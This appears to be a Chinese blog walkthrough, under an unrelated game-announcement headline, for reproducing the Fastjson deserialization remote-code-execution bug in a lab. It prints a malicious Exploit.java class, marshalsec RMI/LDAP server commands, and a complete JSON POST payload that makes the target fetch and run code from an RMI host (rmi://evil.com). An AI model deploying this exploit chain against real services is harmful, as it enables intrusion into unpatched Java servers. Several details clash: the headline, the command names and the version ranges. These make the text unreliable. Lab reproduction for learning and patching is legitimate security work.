國產劇情解謎遊戲《黑羊》正式公佈 Steam頁面上線
一、參考連結
https://zeo.cool/2020/07/04/紅隊武器庫!fastjson小於1.2.68全漏洞RCE利用exp/
二、漏洞介紹
Fastjson是阿里巴巴公司開源的一款json解析器,其效能優越,被廣泛應用於各大廠商的Java專案中。fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令。
三、漏洞影響範圍
Fastjson < 1.2.68
Fastjson爆出的繞過方法可以通殺1.2.68版本以下所有
四、漏洞復現
以Fastjson1.2.24為例子,因為vulhub有現成的環境十分方便。
五、流程示意圖
主機A:存在fastjson反序列化漏洞的主機
主機C:為RMI/LDAP服務
主機B:為構造的惡意類(包含要執行的命令)
在整個遠端命令執行流程
1、黑客使用payload攻擊主機A(該payload需要指定rmi/ldap地址)
2、主機A引發反序列化漏洞,傳送了進行rmi遠端發放呼叫,去連線主機C
3、主機C的rmi服務指定載入主機B的惡意java類,所以主機A通過主機C的rmi服務最終載入並執行主機B的惡意java類
4、主機A引發惡意系統命令執行
六、復現流程
根據上圖流程和環境復現:
主機A: http://192.168.133.138:8090 (存在Fastjson漏洞主機)
主機B:
主機C: rmi://192.168.133.133:9999 (遠端方法呼叫服務)
實際上主機B和C是一臺機器不同埠)
1、構造惡意方法
目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以簡單利用RMI進行命令執行。
首先編譯並上傳命令執行程式碼
使用如下payload:
其中touch /zydx777為系統命令,可以根據自己需求隨意修改
注意該檔名叫Exploit.java固定格式不能變
import java.lang.Runtime; import java.lang.Process; public class Exploit{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
在主機B中使用javac命令編譯Exploit.java檔案,生成一個Exploit.class檔案
javac Exploit.java
然後在主機B啟一個http服務,中介軟體隨意,但是需要能訪問到Exploit.class檔案,這裡使用python3臨時啟動一個
python3 -m http.server --bind 0.0.0.0 8888
2、開啟遠端方法呼叫rmi服務
接下來在主機C開啟rmi服務
可以使用RMI或者LDAP的服務,將reference result 重定向到web伺服器(即檔案Exploit.class的存放位置)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.133.133:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.133.133:8888/#Exploit" 9999
3、傳送payload
POST / HTTP/1.1
Host: 192.168.133.138:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
可見,命令touch /tmp/success已成功執行: